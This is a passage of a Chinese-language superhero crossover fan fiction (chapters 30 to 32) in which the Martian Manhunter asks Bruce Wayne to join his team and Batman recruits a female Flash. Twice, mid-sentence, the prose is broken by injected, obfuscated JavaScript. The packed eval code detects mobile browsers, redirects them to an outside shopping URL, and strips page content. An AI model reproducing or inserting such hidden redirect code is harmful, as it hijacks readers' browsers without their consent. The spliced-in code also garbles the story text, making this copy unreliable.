“中心城标准是请你喝一杯咖啡。”巴莉一本正经地说,“布鲁德海文标准是我把你从窗户扔出去,然后我们两清。” 迪克痛心疾首地看着巴莉:“你被布鲁德海文同化得太快了。” “所以你怎么选?”巴莉催促道。 “我很喜欢这家店。”迪克故作无奈,“我选咖啡。” “真巧,”巴莉露出可爱的笑容,“我也是这么想的。 她又有点不好意思地说:“我没去过哥谭,对那里的一切都有点想象过度。希望没有冒犯你。” “哥谭真的没有那么糟糕啦。”迪克底气不足地说,“只要你远离小巷、港口区、黑/帮地盘、废弃工厂、还有……嗯,大部分夜生活区域。” 他说不下去了,举手投降:“好吧,对外地人来说,确实有点过于复杂了。” “幸好你不负责哥谭的旅游宣传工作。”巴莉说。 “哥谭根本没有旅游宣传部门。在所有旅游手册上,对哥谭只有两个字——‘离开’。”迪克严肃地瞎编起来。 “别以为我不知道你改了索马里的台词。”巴莉立刻拆穿他。 迪克笑了笑:“对普通人来说,哥谭现在已经安全很多了。但那些系统性犯罪总是难以根治,布鲁德海文也是一样。更糟糕的是,总有年轻人前仆后继地加入。” “所以我一直很讨厌那些把犯罪描述得很酷的说法。”巴莉皱起脸,“还有那种告诉年轻人‘犯点小错没关系’的宣传。我不是反对给人第二次机会,我当然赞同,但如果非要宣传什么才值得骄傲,难道不是遵纪守法、从未直接或间接地伤害他人更值得吹嘘吗?” “还有一个原因——孩子很容易被周围人裹挟着走错路。有时候他们甚至不是真的想那么做,仅仅是为了不被霸凌、不被排挤,就会答应参与一些疯狂的事。”迪克说。 “在这一点上,我觉得超级英雄已经潜移默化地改变一些了。”巴莉想起伊德瑞斯讲过的巴尔的摩见闻。 那个街区里,大多数孩子从小就被告知成功意味着加入帮派,被委以占住一个街角贩毒的重任。这可不是谁都能达到的“成就”。 但也有一个孩子说,他想成为蝙蝠侠。 也许那只是一句随口的童言,可哪怕在那样糟糕的环境里,仍然有人把“英雄”当作未来的选项之一。 如果连巴尔的摩的孩子都会这样想,那生活在哥谭的孩子,又会受到多大的影响呢? “我也这样想。只要时间足够,改变一定是看得见的。”迪克说。 韦恩庄园迎来了一位不速之客。 那人的打扮简直像是从老派硬汉侦探小说里走出来的——剪裁合身却略微显旧的风衣,帽檐压得很低,领口扣得一丝不苟。 “约翰·琼斯。”男人礼貌地摘下帽子,“曾经是一名警探,辞职之后做了私家侦探。” 他说这些话时没有任何多余的修饰,既不过分推销自己,也不刻意隐瞒过去,只是在陈述事实。 “我需要见韦恩先生。”约翰继续说,“如果他现在不方便,我可以等待。” 阿尔弗雷德不动声色地打量着来客。中等身高,黑人,五十岁左右,带着久经世事后沉淀下来的稳重。 他安静地站在那里,气质更像一位洞悉人心并坦然面对一切的心理医生,而不是游走在灰色地带、习惯了谎言和花招手段的私家侦探。 明明他的措辞几乎称得上咄咄逼人,可在那平稳的语气与克制的神态衬托下,却显得理所当然,仿佛他只是提出了一个合理要求,而不是在深夜突然登门拜访一位素不相识的富豪。 阿尔弗雷德微微侧身,让出门口的空间:“请先到客厅稍坐片刻,琼斯先生。我这就去请老爷。” “谢谢你,潘尼沃斯先生。”约翰直接地叫出了对方的姓氏,不过这也算不上什么难以获知的秘密。 布鲁斯磨磨蹭蹭地出现了,西装的扣子只系了一半,领结松垮地挂在脖子上,一副急着奔赴约会却被临时拦下的模样:“有什么我能帮到你的吗?需要投资?” 他露出标准的社交笑容,语气轻快却毫不走心。 根据对方提供的名字,以及阿尔弗雷德判断出的科罗拉多州口音,他已经快速地查出了对方的生平:一个没犯过什么错的警察,不知道为什么突然辞了职,如今是丹佛市小有名气的私家侦探。 约翰·琼斯看起来是个普通人。唯一的问题是:这样一个人为什么会专程跑到哥谭来找布鲁斯·韦恩? “蝙蝠侠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156723|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我想加入你的队伍。”约翰站起身,直截了当地说。 空气瞬间安静下来。 布鲁斯脸上的笑容纹丝不动,甚至还更灿烂了一点,仿佛刚听见一个无伤大雅的玩笑:“抱歉,我没有蝙蝠侠的联系方式。我知道哥谭人总爱讲蝙蝠侠和我不得不说的二三事,但其实我只是被蝙蝠侠救过几次而已……好吧,可能是几十次。” 他向前走了一步,准备礼貌送客,在握手告别时顺便在对方身上留下一个微型跟踪器。 就在这一步的时间里,约翰的身体改变了。那是一种彻底的重组,快到肉眼无法捕捉任何过程。 几乎只是一眨眼,一个高大的、绿色皮肤、红色眼睛的人形生物站在韦恩庄园的水晶吊灯下。他的声音在布鲁斯和阿尔弗雷德的脑海中直接响起:“重新自我介绍一下,我是尚恩·琼兹,火星猎人。” “又是一个心灵感应者。”布鲁斯的神情终于变了,属于蝙蝠侠的冷峻浮上来。他固执地选择开口说话,而不是在脑海里回答。 “我来到地球很久了,”约翰也改为用声带发声,“选择继承约翰·琼恩的身份——我没有伤害他;发现他时,他已经在徒步探险中身亡——只是为了有机会深入了解人类社会。但直到现在,我仍然无法真正理解你们。” “这是你的真实形态吗?”布鲁斯问。 与此同时,他的大脑正在飞速思考。对方扩张体型的时候,是从哪里获得了有机物作为补充的?还是对方的密度发生了变化? 那么衣服呢?现在的约翰完全换了打扮,也许那些衣服是对方身体的一部分,本质上是一种皮肤。 又或者,这一切只是视觉层面的欺骗。约翰改变了自己投射在他人视网膜上的形象,但这种变化未必能骗过摄像机。他会在约翰离开后调取监控检查。 “不,但这是人类最容易接受的外星人形象。”约翰说着,又变回那个穿着风衣的黑人男子。“我没有恶意,只是想加入你的队伍,一起保护地球。” “真是高尚的想法。你为什么要为人类这么做?”布鲁斯并不热切地问。 “我的族群已经消亡,我不想看到另一个族群走向同样的结局。”约翰说,“我知道你很难相信我,所以我愿意将我的弱点告诉你,希望这可以作为我们合作的第一步。” 布鲁斯怀疑这只是一个精心设计的谎言,用来换取信任。但他没有说出口。如果对方正在读取他的想法,那很好,这正是他愿意被读取的那一层。 用主动公开的思维当作对抗心灵感应者的帷幕,这对蝙蝠侠来说并不困难。 在布鲁斯的注视下,约翰说:“我极度畏惧火焰。不是肉/体层面,而是精神上的恐惧。” “你为什么现在来找我?”布鲁斯又问。 “我知道你已经选定了几个队友,超人、神奇女侠、闪电侠和海王,并调查了他们的身份。”约翰说,“我赞同你的选择。不过我想再推荐一个人,绿灯侠。” “你想加入这支队伍,知道我在花精力调查他们,却始终袖手旁观,直到此刻才冒出来?”布鲁斯双手环胸,略带嘲讽地问。 “因为你只相信自己调查到的结果。”约翰淡淡地说,仿佛没听出布鲁斯语气中的不满。“如果你需要的话,我可以告诉你绿灯侠的信息。哈尔·乔丹,海滨城人,现在是2814扇区的守护者,这也是地球所在的宇宙扇区。” “好极了。地球有个守护者。”布鲁斯说。 他看见约翰再次露出那种长辈式的宽容眼神。相比之下,他真正意义上的长辈阿尔弗雷德则在一旁几不可察地皱了皱眉。 布鲁斯要在晚些时候才会知道,若按年龄计算,火星猎人才是“超级加倍”的长辈——在约翰面前,这支队伍里的其他人都算得上是孩子。 而此时的布鲁斯露出一个假笑:“原来地球上有这么多埋头干实事的人。但奇怪的是,我从没听说过什么绿色火星生物救人的新闻。至于那位绿灯侠,他的工作模式是远程办公吗?” 30.第 30 章 “我在救人的时候一直是隐身状态。他们对着媒体总是说自己被天使救了。”约翰笑了一下,仿佛觉得这件事很有趣。“一部分人类的宗教信仰真的很坚定,就算现在外星人满天飞,依然毫无动摇。” 同样是外星人,超人在采访中从未流露过这种旁观者式的情绪。他理解人类的方式更像一名人类本身,带着天然的归属感,而不是隔着玻璃研究样本的好奇心。这也是为什么布鲁斯从最初就断定,超人一定拥有一个人类身份,甚至很可能是作为人类长大的。 在确认超人是克拉克·肯特之后,布鲁斯回忆起卢瑟对克拉克的古怪态度,意识到卢瑟肯定早就知道了,但超人似乎还以为自己瞒得很好。 天真的外星人。 天真的外星人们。 布鲁斯没有对约翰的评论做出回应。他只是安静地等着,等对方开始为绿灯侠狡辩,不,辩解。 “哈尔刚成为绿灯侠没多久。在那之前,他是一名飞机试飞员。”约翰说,“绿灯戒指的上一任持有者是阿宾·苏,他在临终前命令戒指寻找一个诚实且无畏的继承人。戒指选择了哈尔,把哈尔传送到欧亚星接受训练。现在哈尔已经正式执勤,只是他的辖区内不止有地球,不得不四处奔波,所以不常回来。” 约翰用最委婉的语气说:“在很多人眼里,哈尔只是个很普通的人。但灯戒的选择从不出错。不过,我认为他应该由其他人去邀请,也许神奇女侠更适合。” “你觉得我们合不来?”布鲁斯平静地问,“那我为什么要自找麻烦,邀请他加入?” “因为你对这支队伍的定位是保护地球,对抗宇宙级别的威胁。”约翰像是没察觉到布鲁斯话里的挑衅意味,“在这个前提下,他的能力、责任感,以及作为绿灯侠的身份,都是无可替代的价值。” “我需要考虑一下。”布鲁斯说。 “那我算通过你的审核了吗?”约翰问,“我知道心灵感应者总会让人感到不自在,这是任何信任都无法消除的本能的忌惮。” 布鲁斯说:“旁边站着个能翻阅我大脑的人,用‘不自在’来形容实在是过于轻描淡写了。” 约翰没有回避这个问题:“我得对你坦白,我的思维感应像一部时刻运行的雷达,地球上的一切思想都会进入我的感知范围。我关不了它,但我尽量不去‘阅读’它,只设置关键词触发机制。这就是我为什么知道你在筹建一支超级人类的队伍,并知道了你的身份。” 布鲁斯觉得有趣的是,当约翰将这支队伍形容为“超级人类队伍”时,似乎没意识到在所有候选人中,蝙蝠侠并不是超级人类。 约翰注视着布鲁斯,等待他的决定。 布鲁斯说:“所以约束你的,只有你的道德。” “是我的道德和荣誉。”约翰纠正。 布鲁斯没有立刻放过他,语气活像是一名吹毛求疵的面试官:“那我的身份呢?你应该知道,我不希望它被任何人知道。” 约翰毫不犹豫地回答:“我会尊重你的意愿,对你的身份保密。对于所有秘密,我都是这个态度。” “我可以过几天再给你答复吗?”布鲁斯的语气和缓下来。 “当然。”约翰说,“我打算在哥谭定居,开一家侦探社。我很擅长抓拍出轨照片。” “考虑到你可以隐身,这确实是你的优势赛道。”布鲁斯又一次露出标准的假笑。 阿尔弗雷德终于没忍住,优雅地翻了个白眼,对约翰说:“请原谅我的失礼。我竟然还没给你倒一杯茶。你喜欢黄油饼干吗?” “我还有事,得先走了。”布鲁斯一点也不配合这套待客流程。 “谢谢你,潘尼沃斯先生。但下次吧,我愿意为了你的茶和饼干特意来一趟。”约翰笑着说。 他又转向布鲁斯:“我可以和你分头去联系他们,但我猜你不会愿意。我就静候佳音了,你知道去哪里找我。” 这并不是对蝙蝠侠推理或跟踪能力的吹捧。约翰从口袋里取出一张名片放在桌上,上面印着侦探社的名字和在哥谭的地址。 布鲁斯瞥了一眼名片,在脑海里极其响亮地思考:当约翰变身的时候,这张名片究竟算在衣服里,还是算在他本人身上? 阿尔弗雷德把约翰送到门口,关上门,回到客厅,和布鲁斯交换了一个心照不宣的眼神。 “X教授的信息是对的。”布鲁斯说,“他一直注意到地球上存在一个难以理解的思维信号,时隐时现。现在看来,约翰在拟态人类时,连思维也一并模拟了,所以X教授不知道他的人类身份。” “恭喜你,守株待兔终于有了回报。”阿尔弗雷德微笑着说,“火星猎人看起来会是一个不错的伙伴。团队里需要这样一个人。” “看来我要踏上劝说他人的征程了。”布鲁斯将领结彻底摘下,“我应该从哪一位开始?” “闪电侠。”阿尔弗雷德说,“她是最可能毫不犹豫地答应你的人。如果连她都拒绝了,你就需要好好检讨自己的态度和策略了。” “真是振奋人心的发言。”布鲁斯不高兴地抿起嘴,故意放重了脚步朝蝙蝠洞走去。“你不是说过永远对我有信心吗?” “永远有信心,”阿尔弗雷德说,“但信心的强度是动态变化的。” 他说这话时带着发自内心的笑容,因为组建一支队伍这件事让一度暗自颓丧的布鲁斯重新振奋起来。 尽管这也意味着更大的危险,但蝙蝠侠本来就与危险为伴。他已经被迫习惯了。 身处危险并闷闷不乐,与身处危险并精神焕发,虽然后者听起来更加心理不健康,仿佛一个人只有在刀锋边缘才真正活着,但对蝙蝠侠而言,那恰恰是一种平衡。当目标清晰、同伴可靠时,危险不再只是威胁,而成了确认自身存在意义的坐标。 “我认为超人也不会拒绝我的邀请。”布鲁斯意有所指地说。 “用氪石邀请吗?”阿尔弗雷德知道布鲁斯是在开玩笑,顺着他的话说下去,“那在他知道你的真实身份时,一定会认为你是在借机报复肯特记者,谁让他写了好几篇指责蝙蝠侠的文章呢。” 布鲁斯轻哼了一声。 那段时间的记忆痛苦却清晰。第二任罗宾的死亡把他推到了某种危险的边缘,耐心被彻底耗尽。蝙蝠侠开始在那些穷凶极恶的犯人身上留下蝙蝠印记,不是为了审讯,也不是为了震慑,而是一种失控的愤怒宣泄。 哥谭市的报纸集体噤声,并非因为受到来自韦恩集团的压力,而是因为想喝彩却不敢。他们心知肚明:坏人报复蝙蝠侠困难重重,报复一家报社却轻而易举。没人愿意成为下一具被挂在天桥上的“警告”。 哥谭之外的大部分媒体对此事并不关心,但《星球日报》的克拉克·肯特记者写下数篇文章,指责蝙蝠侠在行使未经授权的审判权,并担忧那些被标记的犯人在监狱中会遭受系统性的虐待。文章措辞犀利,毫不退让。 蝙蝠侠逐字读完,很快停止了留下烙印的行为,但这不意味着蝙蝠侠赞同肯特记者的全部观点。 “他的天真在其中暴露无遗。”布鲁斯评论道,“被打下蝙蝠印记的都是血债累累的亡命之徒,哪个犯人会敢去招惹他们?超人把犯人想得太有正义性了。” “这件事可以留到你们熟悉之后再讨论,不适合作为破冰话题。”阿尔弗雷德说。 “我知道。”布鲁斯叹了口气,语气里带着一点被过度提醒后的无奈,“我拥有正常的人际交往技能。” 阿尔弗雷德平静地补充:“而且善于反省。” 布鲁斯挑眉看向自己的老管家。 “一个暴君会杀死所有敢于提意见的人,”阿尔弗雷德继续说,语气像是在陈述某条经过历史验证的定律,“而贤者会接纳合适的意见。” 布鲁斯当然听得懂这不是单纯的夸奖,而是温和的提醒。在某段时间里,他离“暴君”这个词并不遥远——如果他放任自己的话。 “你当时本可以阻止我。”布鲁斯说。 “我还不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171247|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么做。”阿尔弗雷德平静地回答,“你善于反省,而且不会跨过心里的那条线。” 布鲁斯不是完美的,蝙蝠侠也不是,但他们始终在努力做好一切。 愤怒、偏执、疲惫与自责从来没有离开过他,只是被他在日复一日的痛苦中驯服、拆解、重新安放。他偶尔在黑暗里走得太远,但总会在某个临界点停下,不是因为外界的约束和谴责,而是因为他自己拒绝再往前一步。 那条线始终在那里。 阿尔弗雷德见过太多人跨过那条线:英雄、政客、士兵、理想主义者。他们从来不是在做出一场重大的决定时折堕,而是在无数个“这次是个例外”、“这次有特殊原因”的妥协里慢慢滑下去。 但布鲁斯不同。他允许自己愤怒,却不允许愤怒彻底支配自己。 这大概是身为一个超级控制狂的附加优点。阿尔弗雷德想。 “我就当你是在夸我了。”布鲁斯小声地嘟囔了一句,换上蝙蝠侠制服。 巴莉有时候怀疑彼得会读心。 不是查尔斯教授那种真正意义上的心灵感应能力,而是一种更讨人喜欢、也更让人无从抱怨的天赋。他黏人,但很有分寸,像一只灵巧的银渐层猫咪,总能在她真正不悦的前一秒轻巧退开,又在她心情晴朗的时候得寸进尺,一脸纯真地朝她的生活里再挪进一小步。 他开始不只在周末出现。偶尔在工作日的晚上,当巴莉不在星辰实验室和威尔斯博士一起忙碌时,彼得会带着食物跑到仓库,用她给的钥匙打开门,一边玩游戏一边等她下班。 巴莉和彼得都不是挑食的人,毕竟在急需能量的时候,味道不是第一优先级——他们有时恨不得直接喝浓缩铀。但这不代表他们不享受美食,而彼得又很乐意不辞辛苦地从各地打包食物,与她一起认真点评。他们还共同打理一个谷歌账户,勤勤恳恳地写下评论,如今等级已经升到八级。 自从制服改造的主要工作转移到星辰实验室之后,仓库渐渐变成了巴莉的私人藏宝地。备用零件、淘来的复古仪器、舍不得扔的小玩意儿,一层层堆在架子上,让这里像一间只有她自己懂分类逻辑的博物馆。 彼得显然很快读懂了这个系统,时不时带来一点他觉得有趣的东西:一把可调扭矩的精密起子;带着细密到肉眼几乎看不清刻度的标尺;二手市场买的笔记本,写满老式电路图和手写公式,内容只能用天马行空形容;或者从车库拍卖里淘到的奇怪的小东西。 如果巴莉多看两眼,他就若无其事地把东西往架子上一放,仿佛它本来就属于这里;如果她反应平平,他就毫不在意地收起来,好像只是顺手展示一下。 久而久之,柜子里竟然被他占据了一整格空间,还有许多零零碎碎的小物件悄悄混进其它区域,像是从一开始就这么摆放了。 彼得甚至拥有专属杯子,还有一个造型可爱的专属盘子。 巴莉完全没意识到这一点。还是伊德瑞斯第一次来仓库时看到彼得的帽子,惊讶地问她什么时候对纽约洋基队感兴趣了,她才后知后觉地发现彼得在这里留下了太多痕迹。 她站在那里回想了半天,试图记起空间被侵占的具体过程,却什么也想不起来。 伊德瑞斯没有追问。 在他们家里,杯子分两种:普通的公用马克杯,谁都可以随手拿来喝牛奶、橙汁或咖啡,也会用来招待客人;以及带着偏好的专属杯子。乔喜欢深色杯子,最喜欢的是印着“世界上最好的爸爸”的那个。巴莉喜欢动物造型的,最常用的是狐狸杯子,伊德瑞斯用的是和她对应的兔子杯子。 第二天,伊德瑞斯买了三只新杯子,理由是圣诞节要来了,得营造一些节日氛围。巴莉纠结几秒,选了圣诞树形状的,伊德瑞斯便把圣诞袜子造型的留给自己用。 至于乔,他对于收到一只黑色的、印着花里胡哨的拐棍糖图案的杯子没有表现出特别的热情,毕竟它形状普通,唯一的节日元素就是印花图案。但从第二天开始,他就用它喝早晨咖啡了。 31.第 31 章 这一晚,彼得来找巴莉,高兴地宣布自己的论文终于合格了。 巴莉赶紧恭喜他——她可是亲眼见过彼得写论文写到悲愤地揪头发——然后问:“你毕业之后打算做什么?” “留校。只要还能待在学校里,做什么都行。”彼得毫不犹豫地说,“我可能会被安排给低年级学生上文学课,还会正式加入X战警。” “文学课?”巴莉重复了一遍。 “怎么啦?我的文字水平还可以啊。”彼得振振有词地说,“查尔斯教授夸我写的故事很有欧·亨利的风格。” 其实查尔斯教授的原话是:你写的每一句话,都让我感到出乎意料。我在读开头的时候,一点儿想不到结尾会是这样。 但在巴莉含笑又鼓励的目光里,彼得理直气壮地将教授的评价理解为赞美,还继续补充自己的优势:“而且,我对诗歌也很有研究,教美国文学完全能胜任。” 巴莉知道彼得确实喜欢读诗,最喜欢的美国诗人是艾米莉·狄金森。他曾经为她读过自己最喜欢的那首《因为我不能停步等待死神》。 明明那些词句早就刻在记忆里,他却始终低头盯着手里的诗集,仿佛借此避免在朗读时直视自己的听众。 彼得读得很慢,读完整首之后终于抬起头,看向坐在对面的巴莉:“你猜,我最喜欢哪一句?” “我们缓缓前行——他知道不必匆忙(We slowly drove – He knew no haste)。”巴莉说。 彼得露出笑容,但并不惊讶。显然他早就确信她会答对。 “我喜欢这首诗,并不是因为它的死亡主题。”他说。 “我知道。”巴莉轻声回答。 真正吸引他的,是那辆由死神亲自驾驶、缓缓前行的马车。诗里的“慢”不是无奈的、孤立无援的停滞,而是一种近乎迷幻的意象——有人坐在你身旁,与你一起感受时间的存在,一起感受它的流动。 彼得眼里的世界总是太慢,喧闹的街道像是静止的布景,匆忙的人群像是没有呼吸的雕塑。可在诗里的那辆马车上,速度不再是负担,他不是刻意放慢自己去迁就世界,那里的缓慢是一种快乐的选择。 当现实世界在他的速度里趋近停滞时,诗歌中的马车里有人与他同坐,共享那段缓慢到近乎永恒的旅程。 幸运的是,在现实中,彼得也找到了能与他同乘那辆马车的人。 “你会很受学生欢迎的。不过,你已经在学校里几年了,”巴莉从回忆里抽身,“想去别的地方生活试试吗?” “我只想在留在学校里。”彼得很干脆地说,“在那里我最自在。” 他说到这里,看了她一眼,又补上一句:“现在还要加上这间仓库。” “你永远可以随时来。”巴莉说。 她看得出来,彼得在普通人的世界里始终带着一点不自在。不是排斥,而是一种难以彻底融入的别扭感。相比之下,巴莉在成年后才获得神速力,对普通人的生活依旧习以为常,甚至依赖那份日常生活中的秩序感。 “你真好。”彼得开心地说,“我想……毕业后的生活和现在也没什么不同吧,只是多了工资而已。不过,反正现在也有零花钱,没什么实质区别。” 离开前,彼得在仓库门口磨蹭了一阵,像是还有话想说。巴莉已经习以为常,耐心地等他开口。 “我们下次一起去酒吧怎么样?”彼得终于问。 巴莉挑了挑眉,揶揄道:“上次被我没收假/证件之后,你又买新的了?快告诉我卖家是谁,我去向纽约警方举报他。” 彼得的脸微微一红,不知道是不好意思还是被冤枉后的气恼:“不是!我马上就要二十一岁了,可以合法进任何场所。” “哦,对。”巴莉这才反应过来,“没问题。” 彼得立刻露出大大的笑容,期待地说:“你会带我去你常去的酒吧吗?” “我其实不怎么去酒吧,偶尔和同事去一次。但那家是警察聚集地,你可能会觉得无聊。”巴莉说。 “我反而更好奇了。”彼得马上说,还拉住巴莉的胳膊轻轻晃了晃。 “那就这么说定了。”巴莉说。 目送心满意足的彼得离开之后,巴莉转身去关灯锁门。她刚把门推开,动作立刻顿住了。 不知何时,仓库里竟悄无声息地多了一位不速之客。 那人十分高大魁梧,正站在闪电侠的面罩旁边仔细查看。听到开门声,他抬起头,与巴莉的视线正面相撞。 是蝙蝠侠。 “不错的设计,不过还能再调整。”蝙蝠侠朝门口走了几步,声音低哑。 “这已经快让我的脑细胞枯竭了。”巴莉警惕地盯着对方,“我是说,那个cosplay道具。” 她想把改进后的面罩给彼得展示一番,今天才会特意将它从星辰实验室带来。 “晚上好,闪电侠。”蝙蝠侠直接无视了巴莉的欲盖弥彰。 他朝着巴莉走近几步,黑色披风在身后垂落,与仓库明亮而杂乱的环境形成强烈反差。 “晚上好。”巴莉干巴巴地说,“但你可能找错人,也走错地方了。这算是私闯民宅……私闯私人仓库。” 虽然她本来就打算去联系蝙蝠侠,却只是想以闪电侠的身份,并不打算暴露真实身份。 如今蝙蝠侠直接出现在这里,还准确地喊出她的代号,再掩饰似乎已经毫无意义。但她仍对这种“调查了别人、自己却戴着面罩”的做法感到不满,不愿让对方占尽上风。 “抱歉,我先调查了你。”出乎巴莉意料的是,蝙蝠侠立刻道歉了。“这不是最理想的结识流程,但我认为自己有责任这么做。这是我的行为模式——我必须先确认对方是否可靠。” 巴莉挑了挑眉,语气里带着一点讽刺:“你的行为模式里,也包括单方面保密自己的身份?这种双重标准,你觉得合理吗?” “如果这样说能让你没那么生气的话——我对所有人都是这么做的,并不是针对你。”蝙蝠侠回答。 这句话反而让巴莉真的有点生气了。她决定继续装傻,语速不自觉地变快了:“我不认识你,也不明白你为什么要调查我是否可靠。我是警局员工,不能接私活。如果你想检测和某人的亲缘关系,建议上网搜搜,现在很多公司都做这个。验DNA要求的材料不多,拔几根头发邮过去就行。记得要带毛囊,不然检测不了。还有,分开包装,避免样本污染。” 这个例子倒不是她随口乱举的。不止一次有人在听说她的职业之后,半开玩笑地问她能不能帮忙验DNA。 蝙蝠侠没有打断她。在巴莉停下之后,他甚至还安静地等了两秒,像是在确认这场离题万里的发言确实已经结束,才平静地开口:“我是蝙蝠侠,正在组建一支超级人类队伍,应对外星人的入侵或其他全球级别的灾难。你愿意加入吗?” “我只是个普通人……”巴莉仍然在顽强抵抗,坚持不肯承认自己的身份。“而且,你怎么证明自己是蝙蝠侠?在我看来,你更像个蝙蝠侠的粉丝,或者和我一样是个coser。” 蝙蝠侠无奈地叹了口气,忽然从腰带里抽出一枚蝙蝠镖,朝着闪电侠的面罩掷去。 那力道和速度远超常人。巴莉本来也不认为他是赝品,这下更确信了。 她发现蝙蝠侠虽然在惹人生气方面很有天分,脾气却远没有传言中那么糟。考虑到那些传言基本都出自哥谭市的监狱犯人和精神病院病人,这种偏差倒也不足为奇。 巴莉轻松 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蝙蝠侠依旧面无表情,又重复了一遍此行目的:“所以,你愿意加入吗?” 巴莉立刻点头:“当然。我能留着这枚蝙蝠镖吗?” “可以。”蝙蝠侠又从腰带里拿出一部小巧的通讯器,“保持联系。” 见他转身要走,巴莉赶紧拦住:“等等,你给的信息太少了。我现在满脑子问题。” 蝙蝠侠停下脚步,安静等她发问。 “队伍有多少人?队伍叫什么名字?你是队长吗?我们多久开一次会?在哪里开会?每个人都有同样的投票权吗?如果开会或有任务的那一天,我有别的事情怎么办?我们……” 蝙蝠侠不得不打断巴莉的问题轰炸:“你是我邀请的第一个人。接下来我会去联系神奇女侠、超人、海王和绿灯侠。” “哇哦,我能和你一起去吗?”巴莉兴奋地问,“虽然我没听说过后两个人。” “不能。”蝙蝠侠立刻拒绝了,“至于你的其它问题,这些细节会在第一次会议中讨论。会议地点在哥谭,具体时间和地址我会通过通讯器提前通知你。” “好吧,反正我的年假也快用光了。”巴莉没有纠结,跳到下一个问题:“你的超能力是什么?” “我有个对我言听计从的赞助者。他超级有钱。”蝙蝠侠淡淡道,“他将会赞助这支队伍。” 巴莉很自然地认为蝙蝠侠是在回避问题,却想不通这有什么好隐藏的——除非他真的是吸血蝙蝠,而言听计从的人是他的血仆。 “你说的赞助者,是布鲁斯·韦恩先生吗?” “就是他。”蝙蝠侠说。 “你确定他是自愿的吗?我知道他在赞助你,至少全哥谭的人都这么认为,但赞助一支队伍可比赞助一个人贵多了。” “我说过了,”蝙蝠侠平静重复,“韦恩对我言听计从。” 这回答听起来实在令人浮想联翩。巴莉盯着他,等他补一句“我在开玩笑”,却什么也没等到。 “我尊重你,蝙蝠侠。”巴莉皱着眉,认真说,“我也同样尊重韦恩先生。所以我希望你不是在暗示什么奇怪的事,比如你胁迫了韦恩先生。” 蝙蝠侠注视着巴莉,他的下颌线绷紧,又慢慢放松。他郑重回答:“我保证,韦恩是完全自愿的。他只是想为世界做些好事。” 巴莉有点尴尬地点了点头:“那就好。” “如果还有其它问题,可以通过通讯器联系我。”蝙蝠侠又一次准备离开。 “我大概什么时候会收到第一次通知?”巴莉急切地问出了最关心的问题。 “希望很快。”蝙蝠侠说。 32.第 32 章 蝙蝠侠像来时一样悄无声息地离开了。 巴莉后退两步坐在椅子上。如果不是手里的蝙蝠镖和通讯器没有变成泡沫消失,她几乎要以为刚才发生的一切只是她的想象。 她在脑海里把刚才的对话逐字回放了一遍。那句“希望很快”在记忆里被放大,像是一瞬间滑落的面具,短暂地泄露了蝙蝠侠的情绪。 在那层强大、自信、不可动摇的外壳下,漂浮着一丝隐约的焦虑。他不确定自己是否能做好这个召集者和未来的组织者,将一群性格各异的人长期地维系在一起。但世界需要他这么做,所以他决定试试。 巴莉不觉得那些被邀请的人会拒绝蝙蝠侠。就算有人心存疑虑,至少也会答应先试试。毕竟外星人的威胁并不是远在天边,而是已经赫然出现在眼前了。没人会认为这件事永远与自己无关。 既然蝙蝠侠已经明确拒绝她同行去邀请其他人,巴莉也只能耐心地等待结果了。她非常期待见到未来的同伴,那两个没听说过名字的人令她尤为好奇。 “海王”这个代号她能理解,听起来是拥有某种与水有关的能力。至于“绿灯侠”,她暂时想象不出来对方的能力是什么。这个名字听起来很复古,让她不由自主地联想到维多利亚时代街头提着防风油灯巡夜的人,斗篷下摆扫过石板路,灯光在雾里摇晃——也许绿灯侠能召唤亡灵。 反正“希望很快”就会有答案了。巴莉决定不再多想,而是先去把自己的激动心情分享给伊德瑞斯。 巴莉很神秘地对伊德瑞斯说:“猜猜我今天遇见了谁。” 伊德瑞斯端详着巴莉的表情,思索着说:“你看起来很高兴,那肯定不是无赖帮的人了。威尔斯博士你经常见,不会这么激动。唔,我想不出来。能给我一些提示吗?” “对方的目的是邀请我加入一支超级人类组成的队伍,一起保护地球。”巴莉说。 伊德瑞斯眨了眨眼:“联合国秘书长?” “呃……不是。而且我压根不知道现任的秘书长叫什么。” 得以排除掉一个错误选项后,伊德瑞斯继续分析:“保护地球,防止谁的伤害?如果是外星人的话,那……超人?” “也不是。”巴莉实在忍不住了,直接揭晓答案,“是蝙蝠侠。” “等等,”伊德瑞斯忽然反应过来,“他是怎么找到闪电侠的?他知道了你的真实身份?” “对。”巴莉无奈地说,然后又小小地抱怨了一句,“不过我不知道他的。” “队伍里的其他人是谁?”伊德瑞斯问。 “还没有最终确定,蝙蝠侠接下来会去逐一邀请。” 伊德瑞斯很吃惊:“所以蝙蝠侠知道他们每一个人是谁?” “是的。” 伊德瑞斯微微皱眉:“蝙蝠侠对情报的掌控有点吓人。” “别提醒我。”巴莉叹气,“我现在既安心又紧张。安心是因为他显然什么都查过了,队友应该都是可靠的人,紧张是因为他显然什么都查过了。” “那你会告诉队友你是谁吗?”伊德瑞斯问。 “蝙蝠侠说,在队伍内部是否公开身份是自愿选择。不过他建议我,等和大家熟悉之后再考虑分享私人信息。” 伊德瑞斯若有所思地点头:“听起来他对队伍能持续多久并不是很有信心。” “这支队伍的首要目标是应对下一次氪星人入侵。但在战斗过程中,大家是会变得亲密无间,还是不欢而散,就只能交给时间去回答了。” 